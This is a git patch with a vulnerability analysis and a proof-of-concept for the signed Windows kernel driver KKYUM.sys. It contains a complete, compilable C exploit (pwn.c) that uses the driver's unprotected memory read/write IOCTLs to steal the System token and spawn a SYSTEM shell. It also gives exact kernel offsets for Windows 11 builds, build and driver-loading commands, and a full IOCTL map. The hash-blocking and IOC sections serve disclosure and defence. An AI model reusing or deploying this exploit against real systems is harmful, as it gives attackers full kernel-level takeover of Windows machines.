From 88494cd8431fbf6f6b718f5b5ca1359f8b7a80c9 Mon Sep 17 00:00:00 2001 From: 0xdeadbeefnetwork Date: Sun, 16 Aug 2026 00:25:16 -0400 Subject: [PATCH] KKYUM.sys PoC --- ANALYSIS.md | 196 ++++++++++++++++++++++++++++++++++++++++++++++++++++ README.md | 154 +++++++++++++++++++++++++++++++++++++++++ pwn.c | 126 +++++++++++++++++++++++++++++++++ 3 files changed, 476 insertions(+) create mode 100644 ANALYSIS.md create mode 100644 README.md create mode 100644 pwn.c diff --git a/ANALYSIS.md b/ANALYSIS.md new file mode 100644 index 0000000..4c71962 --- /dev/null +++ b/ANALYSIS.md @@ -0,0 +1,196 @@ +# KKYUM.sys Driver Analysis Report + +## Executive Summary + +KKYUM.sys is a Windows x64 kernel driver (26,768 bytes) that appears to be designed for process memory manipulation and interaction with the Windows input subsystem (mouse/keyboard drivers) and GUI components (win32k). + +**SHA256:** `72BD55F4459C992B9CAA1A33CB6862F1F3085CA35839C58DEE8B75DB22CA605F` + +## File Metadata +- **Architecture:** x86-64 (x86:LE:64:default) +- **Platform:** Windows +- **Type:** Kernel Driver (.sys) +- **Size:** 26,768 bytes +- **Framework:** Windows Driver Framework (WDF/KMDF) + +## Memory Layout + +``` +Section Start Address Size Permissions +------- ------------- ---- ----------- +Headers 0x140000000 0x400 R-- +.text 0x140001000 0x2600 R-X (executable code) +.rdata 0x140004000 0xc00 R-- (read-only data) +.data 0x140005000 0x4e0 RW- (writable data) +.pdata 0x140006000 0x200 R-- (exception handling) +INIT 0x140007000 0x600 R-X (initialization code) +.reloc 0x140008000 0x200 R-- (relocations) +tdb 0xff00000000 0x1850 RW- (type database) +``` + +## Key Findings + +### 1. Device Interface +The driver creates a device object and symbolic link for usermode communication: +- **Device:** `\Device\KKYUM` +- **Symbolic Link:** `\DosDevices\KKYUM` + +This allows usermode applications to open a handle to the driver and send I/O control codes (IOCTLs). + +### 2. Process Memory Manipulation Capabilities + +The driver imports critical functions for reading/writing process memory: + +- **`MmCopyVirtualMemory`** - Copies memory between process address spaces (referenced 3 times) + - This is a powerful kernel function that allows reading/writing to any process + - Commonly used by game cheats and malware for process injection + +- **`PsLookupProcessByProcessId`** - Locates process structure by PID +- **`KeStackAttachProcess`** / **`KeUnstackDetachProcess`** - Attaches to target process context +- **`IoGetCurrentProcess`** - Gets current process +- **`PsGetProcessWow64Process`** - Gets WOW64 information (32-bit on 64-bit) + +### 3. Input Subsystem Targeting + +String references indicate targeting of mouse and keyboard drivers: + +``` +\Driver\mouclass - Mouse class driver +\Driver\kbdclass - Keyboard class driver +\Driver\kbdhid - Keyboard HID driver +\Driver\mouhid - Mouse HID driver +\Driver\i8042prt - PS/2 keyboard/mouse port driver +``` + +This suggests potential capabilities for: +- Input injection (sending fake mouse/keyboard inputs) +- Input filtering/monitoring (reading user inputs) +- Bypassing user-mode input validation + +### 4. Windows GUI Subsystem Access + +References to win32k components: +- `win32kbase.sys` - Windows kernel-mode base subsystem +- `win32kfull.sys` - Windows kernel-mode full subsystem +- `ValidateHwnd` - Function for validating window handles + +This could indicate: +- Direct manipulation of GUI elements +- Bypassing user-mode window message queues +- Window handle validation/enumeration + +### 5. Process Targeting + +- **`winlogon.exe`** - Windows logon process + - This is a critical Windows process that handles login/logout + - Targeting it could indicate credential harvesting or session manipulation + +### 6. System Information Queries + +- **`ZwQuerySystemInformation`** - Queried twice + - Can retrieve system-level information + - Often used for anti-detection or process enumeration + +### 7. Dynamic Function Resolution + +- **`RtlFindExportedRoutineByName`** - Finds kernel functions by name + - Allows runtime resolution of undocumented kernel functions + - Common technique to avoid static analysis detection + +## Security Implications + +### Potential Malicious Uses: +1. **Game Cheating/Anti-Cheat Bypass** + - Read/write game process memory + - Inject fake input events + - Bypass anti-cheat detection + +2. **Keylogging/Input Interception** + - Monitor keyboard/mouse inputs at kernel level + - Bypass user-mode security software + +3. **Process Injection** + - Inject code into arbitrary processes + - Escalate privileges + - Hide malicious activity + +4. **Credential Harvesting** + - Target winlogon.exe for credentials + - Read password memory from processes + +5. **Rootkit Capabilities** + - Kernel-level code execution + - Hide processes/files/network connections + - Disable security software + +## Function Analysis + +- **Total Functions:** 90 +- **Entry Point:** `0x1400029e0` +- **Notable Imports:** + - Memory management: `ExAllocatePool`, `ExFreePoolWithTag`, `MmMapLockedPagesSpecifyCache` + - Device management: `IoCreateDevice`, `IoDeleteDevice`, `IoCreateSymbolicLink` + - Process operations: `MmCopyVirtualMemory`, `KeStackAttachProcess` + - Object management: `ObReferenceObjectByName`, `ObfDereferenceObject` + +## KMDF Framework + +The driver uses the Kernel-Mode Driver Framework (KMDF): +- `WdfVersionBind` - Binds to WDF runtime +- `WdfLdrQueryInterface` - Queries WDF loader +- `WdfVersionBindClass` - Binds to WDF class + +This provides a structured framework for driver development but also indicates a relatively modern/well-structured implementation. + +## Static Analysis Pattern + +Found binary pattern (likely signature for code searching): +``` +E8 ? ? ? ? 8B ? 85 C0 75 0E +``` +This appears to be a pattern for locating specific code sequences, possibly for hooking or patching. + +## Recommendations + +### For Security Researchers: +1. **Dynamic Analysis:** Run in isolated VM with process/registry monitoring +2. **IOCTL Analysis:** Reverse engineer IOCTL handlers to understand full capabilities +3. **Decompile Entry Point:** Examine `DriverEntry` and IRP handlers +4. **Memory Analysis:** Monitor `MmCopyVirtualMemory` calls to see what it's reading/writing +5. **Input Monitoring:** Check if it hooks keyboard/mouse driver chains + +### For System Administrators: +1. **This driver should be treated as potentially malicious** +2. **Do NOT load on production systems** +3. **Check for persistence:** Registry `SYSTEM\CurrentControlSet\Services\KKYUM` +4. **Monitor for:** Unsigned driver loading attempts +5. **Detection:** SHA256 hash can be used in EDR/AV signatures + +## IOC (Indicators of Compromise) + +- **File Hash:** `72BD55F4459C992B9CAA1A33CB6862F1F3085CA35839C58DEE8B75DB22CA605F` +- **Device Name:** `\Device\KKYUM` +- **Symbolic Link:** `\DosDevices\KKYUM` +- **Service Name:** Likely "KKYUM" (typical convention) + +## Next Steps for Analysis + +1. **Decompile DriverEntry** - Understand initialization and IOCTL registration +2. **Analyze IRP Handlers** - Reverse engineer DeviceIoControl handlers +3. **Trace Memory Operations** - Dynamic analysis of MmCopyVirtualMemory usage +4. **IOCTL Fuzzing** - Test driver stability and find vulnerabilities +5. **Signature Creation** - Create YARA rule for detection +6. **Behavioral Analysis** - Run in VM and monitor kernel API calls + +## Conclusion + +KKYUM.sys is a kernel driver with capabilities for: +- ✅ Process memory reading/writing (via `MmCopyVirtualMemory`) +- ✅ Input system manipulation (mouse/keyboard driver references) +- ✅ GUI subsystem interaction (win32k references) +- ✅ Process targeting (winlogon.exe) +- ✅ Dynamic function resolution (anti-analysis) + +**Risk Level:** HIGH - This driver has all the capabilities needed for malicious activities including game cheating, keylogging, process injection, and rootkit functionality. + +**Recommendation:** Treat as malicious until proven otherwise. Do not load on any system with valuable data. diff --git a/README.md b/README.md new file mode 100644 index 0000000..e06eae0 --- /dev/null +++ b/README.md @@ -0,0 +1,154 @@ +# KKYUMPoC + +``` + _._ _,-'""`-._ +(,-.`._,'( |\`-/| + `-.-' \ )-`( , o o) + `- \`_`"'- _SiCk // afflicted.sh +``` + +PoC and driver analysis for **KKYUM.sys**, a WHQL-signed cheat driver +(LOLDrivers PR #405, sha256 +`72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f`, +26,768 bytes, WHQL-attestation signed). The leaf signer is the uniform +`CN=Microsoft Windows Hardware Compatibility Publisher` (via +`Microsoft Windows Third Party Component CA 2012`) that every +attestation-signed driver carries — **the vendor identity is not recoverable +from the artifact**. Version resource is stripped; the only fingerprint +present is `PDBPath: E:\Windows\Desktop\Dev\Driver\IOBase\kmumd\Release\ioctl-km.pdb`. + +The driver exposes `\\.\KKYUM` with no meaningful ACL and wraps +`MmCopyVirtualMemory` behind two ioctls that take a **caller-supplied PID**: +arbitrary cross-process read/write, kernel VAs included, from a standard +user token. The device resolves `PsLookupProcessByProcessId(pid)` per call +and never checks who's asking. + +```c +#define IOCTL_READ 0x22265c +#define IOCTL_WRITE 0x222658 + +// in/out buffer layout, both directions: +typedef struct { + uint32_t pid; // target process, any pid incl 4 + uint32_t count; // op count + struct { + uint64_t remote; // VA in target process (kernel VA ok) + uint64_t local; // VA in your process + uint64_t size; + } ops[1]; +} REQ; +``` + +## the PoC (pwn.c) + +Elevated token-steal, 126 lines, HVCI-compatible (data-only): + +1. `AdjustTokenPrivileges(SeDebugPrivilege, ENABLED)` — required. the + SystemModuleInformation scrub gate checks **enabled**, not held. a stock + admin cmd holds it disabled and QSI(11) returns zeroed ImageBase. +2. `NtQuerySystemInformation(SystemModuleInformation)` -> ntoskrnl base. +3. Walk ntoskrnl exports -> `PsInitialSystemProcess` -> System EPROCESS. +4. Walk `ActiveProcessLinks` until pid matches ours. +5. Copy System's token over ours. Verify. Spawn `cmd /k whoami` (SYSTEM). +6. Restore original token after 2s. + +Offsets (Windows 11 26100 / 26200): + +``` +UniqueProcessId 0x1d0 +ActiveProcessLinks 0x1d8 +Token 0x248 +``` + +## build + +``` +x86_64-w64-mingw32-gcc -s -O2 -o pwn.exe pwn.c +``` + +## run + +Load the driver once from an elevated cmd (driver not bundled in this repo — +pull from LOLDrivers PR #405): + +``` +sc create KKYUM binPath= C:\path\to\KKYUM.sys type= kernel +sc start KKYUM +``` + +then from the same elevated cmd: + +``` +pwn.exe +``` + +Expected: + +``` +[*] KKYUM.sys LPE +[+] nt fffff807bf800000 +[+] dev +[+] sysEproc ffffbb8fc44c5040 +[+] pid 2552 eproc ffffbb800aff2080 tok ffffaa086420263f -> ffffaa07fb27d93f +[+] SYSTEM shell (pid 26644) +[+] restored +``` + +Verified on Windows 11 26200 with VBS off (VM) and with HVCI on +(bare metal). pwn.exe also auto-starts the service if it finds it stopped. + +## full ioctl map + +see [ANALYSIS.md](ANALYSIS.md). summary: + +``` +0x222658 WRITE {pid, count, ops[{remote, local, size}]} MmCopyVirtualMemory +0x22265C READ same layout, direction flipped +0x222650 module base {pid, name} -> DllBase, PEB->Ldr walk, out @ +520 +0x222654 image name -> pid, kernel-side QSI walk, out @ +512 +0x22261C DKOM link, objects via win32kbase!ValidateHwnd, +88/+96 +0x222620 DKOM unlink (window hiding) +0x222624 win32kfull call-site with attacker-controlled RDX +0x222640 set XOR key for subsequent ioctl buffers +0x222644 kbdclass/mouclass queue scanner init +0x222648 cursor sprite patch +0x22264C cursor sprite patch (variant) +0x222662 READ, MDL variant (same MmCopyVirtualMemory) +0x222666 WRITE, MDL variant +``` + +Import table is ntoskrnl + the WDF loader stub only. No NDIS/WSK/file/registry +imports — the driver has no C2 or exfiltration capability; if the parent cheat +phones home, the user-mode client does it. + +## unelevated notes (why this repo is elevated-only) + +On 26100/26200 every classic unelevated kernel-address disclosure is closed +against a standard user token: + +- QSI 0x11 module info / 0x40 handle table / 0x39 thread fields: scrubbed +- QSI 0x42 big pool: tags+sizes real, address field reduced to a 0/1 flag +- TEBs: sanitized +- desktop heap user alias: relative offsets, no raw kernel pointers +- System (pid 4) `PEB->Ldr` is NULL — the module-lookup ioctl leaks nothing + +and the last fixed-address fallback is a trap: ring-3 `sidt` on 26200 returns +a decoy IDT base (`0xFFFFF80000001000`, unmapped) — reading it through the +driver is a guaranteed `PAGE_FAULT_IN_NONPAGED_AREA` bugcheck. Verified on +both a VMware guest (VBS off) and bare metal under Hyper-V (HVCI on), same +faulting address on both. Control read through the same primitive +(`0xFFFFF78000000000`, kernel view of KUSER_SHARED_DATA) returns real bytes, +so the primitive is fine — the address isn't. + +Full writeup, including the four bluescreens and the sidt post-mortem: + + +## defense + +Block by hash `72bd55f4459c992b9caa1a33cb6862f1f3085ca35839c58dee8b75db22ca605f` +(Microsoft vulnerable driver blocklist entry pending at time of writing) and +revoke trust in the signing identity if you're in a position to. + +lab use only. point it at machines you own. + +_SiCk · [afflicted.sh](https://afflicted.sh) diff --git a/pwn.c b/pwn.c new file mode 100644 index 0000000..ce5094d --- /dev/null +++ b/pwn.c @@ -0,0 +1,126 @@ +// pwn.c - KKYUM.sys LPE (HVCI ok) - _SiCk // afflicted.sh +#include +#include +#include + +#define IR 0x22265c +#define IW 0x222658 +#define PIDO 0x1d0 +#define LNKO 0x1d8 +#define TOKO 0x248 + +typedef NTSTATUS (NTAPI *QSI)(ULONG, PVOID, ULONG, PULONG); +static HANDLE d; + +// pid-scoped copy r/w +static int io(DWORD c, uint32_t pid, uint64_t a, void *b, uint64_t n) { + struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n }; + DWORD br; + return DeviceIoControl(d, c, &rq, sizeof rq, &rq, sizeof rq, &br, 0); +} +#define kr(pid,a,b,n) io(IR,pid,a,b,n) +#define kw(pid,a,b,n) io(IW,pid,a,b,n) + +// sedebug on -> qsi(11) unscrubbed +static uint64_t ntbase(void) { + HANDLE t; + TOKEN_PRIVILEGES tp = {0}; + QSI q = (QSI)GetProcAddress(GetModuleHandleA("ntdll"), "NtQuerySystemInformation"); + tp.PrivilegeCount = 1; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &t)) { + LookupPrivilegeValueA(0, "SeDebugPrivilege", &tp.Privileges[0].Luid); + AdjustTokenPrivileges(t, 0, &tp, 0, 0, 0); + CloseHandle(t); + } + ULONG n = 0; + q(11, 0, 0, &n); + uint8_t *b = malloc(n * 2); + if (!b || q(11, b, n * 2, &n) != 0) return 0; + uint64_t r = *(uint64_t *)(b + 8 + 0x10); + free(b); + return r; +} + +// export walk +static uint64_t fexp(uint64_t b, const char *nm) { + uint8_t h[0x1000]; + uint32_t e, nn, ar, nr, orr, *n32, f; + uint16_t o; + char s[64]; + if (!kr(4, b, h, sizeof h)) return 0; + e = *(uint32_t *)(h + 0x3c); + e = *(uint32_t *)(h + e + 0x88); + if (!e || !kr(4, b + e, h, 0x28)) return 0; + nn = *(uint32_t *)(h + 0x18); ar = *(uint32_t *)(h + 0x1c); + nr = *(uint32_t *)(h + 0x20); orr = *(uint32_t *)(h + 0x24); + n32 = malloc(nn * 4); + if (!kr(4, b + nr, n32, nn * 4)) { free(n32); return 0; } + for (uint32_t i = 0; i < nn; i++) { + if (!kr(4, b + n32[i], s, 63)) continue; + s[63] = 0; + if (!strcmp(s, nm)) { + kr(4, b + orr + i * 2, &o, 2); + kr(4, b + ar + o * 4, &f, 4); + free(n32); + return b + f; + } + } + free(n32); + return 0; +} + +int main(void) { + printf(" _._ _,-'\"\"`-._\n" + "(,-.`._,'( |\\`-/|\n" + " `-.-' \\ )-`( , o o)\n" + " `- \\`_`\"'- _SiCk // afflicted.sh\n\n"); + printf("[*] KKYUM.sys LPE\n"); + + uint64_t nt = ntbase(); + if (!nt) { printf("[-] nt base (elevated?)\n"); return 1; } + printf("[+] nt %llx\n", nt); + + d = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); + if (d == INVALID_HANDLE_VALUE) { // service stopped -> start, retry + system("sc start KKYUM >nul 2>&1"); + Sleep(1500); + d = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); + } + if (d == INVALID_HANDLE_VALUE) { printf("[-] dev %lu\n", GetLastError()); return 1; } + printf("[+] dev\n"); + + uint64_t pisp = fexp(nt, "PsInitialSystemProcess"), sys = 0, me = 0, st = 0, ot = 0, chk = 0; + if (!pisp || !kr(4, pisp, &sys, 8) || !sys) { printf("[-] sys eproc\n"); return 1; } + printf("[+] sysEproc %llx\n", sys); + + DWORD my = GetCurrentProcessId(); + for (uint64_t cur = sys, fl = 0, p = 0, i = 0; i < 4096; i++) { // walk links + if (!kr(4, cur + LNKO, &fl, 8)) break; + cur = fl - LNKO; + if (cur == sys) break; + if (kr(4, cur + PIDO, &p, 8) && p == my) { me = cur; break; } + } + if (!me) { printf("[-] our eproc\n"); return 1; } + + kr(4, sys + TOKO, &st, 8); + kr(4, me + TOKO, &ot, 8); + if (!kw(4, me + TOKO, &st, 8) || !kr(4, me + TOKO, &chk, 8) || chk != st) { + printf("[-] swap\n"); + return 1; + } + printf("[+] pid %lu eproc %llx tok %llx -> %llx\n", my, me, ot, st); + + STARTUPINFOA si = { .cb = sizeof si }; + PROCESS_INFORMATION pi; + if (CreateProcessA(0, "cmd.exe /k whoami", 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) { + printf("[+] SYSTEM shell (pid %lu)\n", pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + + Sleep(2000); + kw(4, me + TOKO, &ot, 8); // restore + printf("[+] restored\n"); + return 0; +}